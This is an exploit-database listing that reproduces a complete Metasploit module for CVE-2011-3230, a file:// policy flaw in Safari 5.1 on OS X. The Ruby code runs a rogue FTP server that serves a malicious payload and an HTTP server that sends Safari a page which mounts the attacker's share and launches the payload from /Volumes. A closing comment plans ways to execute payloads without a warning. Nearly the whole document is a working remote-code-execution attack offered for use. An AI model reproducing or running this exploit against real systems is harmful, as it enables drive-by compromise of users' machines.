Apple Safari file:// Arbitrary Code Execution



EKU-ID: 1147 CVE: 2011-3230 OSVDB-ID:
Author: sinn3r Published: 2011-10-18 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# $Id: safari_file_policy.rb 13967 2011-10-17 03:49:49Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/service_manager'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::FtpServer

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Apple Safari file:// Arbitrary Code Execution",
   'Description'    => %q{
     This module exploits a vulnerability found in Apple Safari on OSX platform.
    A policy issue in the handling of file:// URLs may allow arbitrary remote code
    execution under the context of the user.

     In order to trigger arbitrary remote code execution, the best way seems to
    be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
    a fileformat that OSX might automount), and then execute it in /Volumes/[share].
    If there's some kind of bug that leaks the victim machine's current username,
    then it's also possible to execute the payload in /Users/[username]/Downloads/,
    or else bruteforce your way to getting that information.

     Please note that non-java payloads (*.sh extension) might get launched by
    Xcode instead of executing it, in that case please try the Java ones instead.
   },
   'License'        => MSF_LICENSE,
   'Version'        => "$Revision: 13967 $",
   'Author'         =>
    [
     'Aaron Sigel',  # Initial discovery
     'sinn3r',       # Metasploit (also big thanks to HD, and bannedit)
    ],
   'References'     =>
    [
     ['CVE', '2011-3230'],
     ['URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments'],
     ['URL', 'http://support.apple.com/kb/HT5000']
    ],
   'Payload'        =>
    {
     'BadChars'    => "",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none",
    },
   'Platform'       => [ 'unix', 'osx', 'java' ],
   'Arch'           => [ ARCH_CMD, ARCH_JAVA ],
   'Targets'        =>
    [
     [ 'Safari 5.1 on OSX',           {} ],
     [ 'Safari 5.1 on OSX with Java', {} ]
    ],
   'Privileged'     => true,
   'DisclosureDate' => "Oct 12 2011",  #Blog date
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
    OptPort.new('SRVPORT',   [true, "The local port to use for the FTP server (Do not change)", 21 ]),
    OptPort.new('HTTPPORT',  [true, "The HTTP server port", 80])
   ], self.class )
 end


 #
 # Start the FTP aand HTTP server
 #
 def exploit
  # The correct extension name is necessary because that's how the LauncherServices
  # determines how to open the file.
  ext = (target.name =~ /java/i) ? '.jar' : '.sh'
  @payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext

  # Start the FTP server
  start_service()
  print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")

  # Create our own HTTP server
  # We will stay in this functino until we manually terminate execution
  start_http()
 end


 #
 # Lookup the right address for the client
 #
 def lookup_lhost(c=nil)
  # Get the source address
  if datastore['SRVHOST'] == '0.0.0.0'
   Rex::Socket.source_address( c || '50.50.50.50')
  else
   datastore['SRVHOST']
  end
 end


 #
 # Override the client connection method and
 # initialize our payload
 #
 def on_client_connect(c)
  r = super(c)
  @state[c][:payload] = regenerate_payload(c).encoded
  r
 end


 #
 # Handle FTP LIST request (send back the directory listing)
 #
 def on_client_command_list(c, arg)
  conn = establish_data_connection(c)
  if not conn
   c.put("425 Can't build data connection\r\n")
   return
  end

  print_status("Data connection setup")
  c.put("150 Here comes the directory listing\r\n")

  print_status("Sending directory list via data connection")
  month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
  m = month_names[Time.now.month-1]
  d = Time.now.day
  y = Time.now.year

  dir = "-rwxr-xr-x 1 ftp ftp              #{@state[c][:payload].length.to_s} #{m} #{d}  #{y} #{@payload_name}\r\n"
  conn.put(dir)
  conn.close

  print_status("Directory sent ok")
  c.put("226 Transfer ok\r\n")

  return
 end


 #
 # Handle the FTP RETR request. This is where we transfer our actual malicious payload
 #
 def on_client_command_retr(c, arg)
  conn = establish_data_connection(c)
  if not conn
   c.put("425 can't build data connection\r\n")
   return
  end

  print_status("Connection for file transfer accepted")
  c.put("150 Connection accepted\r\n")

  # Send out payload
  conn.put(@state[c][:payload])
  conn.close
  return
 end


 #
 # Handle the HTTP request and return a response.  Code borrorwed from:
 # msf/core/exploit/http/server.rb
 #
 def start_http(opts={})
  # Ensture all dependencies are present before initializing HTTP
  use_zlib

  comm = datastore['ListenerComm']
  if (comm.to_s == "local")
   comm = ::Rex::Socket::Comm::Local
  else
   comm = nil
  end

  # Default the server host / port
  opts = {
   'ServerHost' => datastore['SRVHOST'],
   'ServerPort' => datastore['HTTPPORT'],
   'Comm'       => comm
  }.update(opts)

  # Start a new HTTP server
  @http_service = Rex::ServiceManager.start(
   Rex::Proto::Http::Server,
   opts['ServerPort'].to_i,
   opts['ServerHost'],
   datastore['SSL'],
   {
    'Msf'        => framework,
    'MsfExploit' => self,
   },
   opts['Comm'],
   datastore['SSLCert']
  )

  @http_service.server_name = datastore['HTTP::server_name']

  # Default the procedure of the URI to on_request_uri if one isn't
  # provided.
  uopts = {
   'Proc' => Proc.new { |cli, req|
     on_request_uri(cli, req)
    },
   'Path' => resource_uri
  }.update(opts['Uri'] || {})

  proto = (datastore["SSL"] ? "https" : "http")
  print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")

  if (opts['ServerHost'] == '0.0.0.0')
   print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
  end

  # Add path to resource
  @service_path = uopts['Path']
  @http_service.add_resource(uopts['Path'], uopts)

  # As long as we have the http_service object, we will keep the ftp server alive
  while @http_service
   select(nil, nil, nil, 1)
  end
 end


 #
 # Kill HTTP/FTP (shut them down and clear resources)
 #
 def cleanup
  super

  # Kill FTP
  stop_service()

  # clear my resource, deregister ref, stop/close the HTTP socket
  begin
   @http_service.remove_resource(datastore['URIPATH'])
   @http_service.deref
   @http_service.stop
   @http_service.close
   @http_service = nil
  rescue
  end
 end


 #
 # Ensures that gzip can be used.  If not, an exception is generated.  The
 # exception is only raised if the DisableGzip advanced option has not been
 # set.
 #
 def use_zlib
  if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
   raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!"
  end
 end


 #
 # Returns the configured (or random, if not configured) URI path
 #
 def resource_uri
  path = datastore['URIPATH'] || random_uri
  path = '/' + path if path !~ /^\//
  datastore['URIPATH'] = path
  return path
 end


 #
 # Handle HTTP requets and responses
 #
 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']

  if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
   print_error("Unsupported target: #{agent}")
   send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
   return
  end

  html = <<-HTML
  <html>
  <head>
  <base href="file://">
  <script>
  function launch() {
   document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
  }

  function share() {
   document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";
   setTimeout("launch()", 2000);
  }

  share();
  </script>
  </head>
  <body>
  </body>
  </html>
  HTML

  send_response(cli, 200, 'OK', html)
 end


 #
 # Create an HTTP response and then send it
 #
 def send_response(cli, code, message='OK', html='')
  proto = Rex::Proto::Http::DefaultProtocol
  res = Rex::Proto::Http::Response.new(code, message, proto)
  res['Content-Type'] = 'text/html'
  res.body = html

  cli.send_response(res)
 end

end

=begin
- Need to find a suitable payload that can be executed without warning.
  Certain executables cannot be executed due to permission issues. A jar file doesn't have this
  problem, but we still get a "Are you sure?" warning before it can be executed.
- Allow user-specified port to automount the share
- Allow ftp USERNAME/PASSWORD (optional)
=end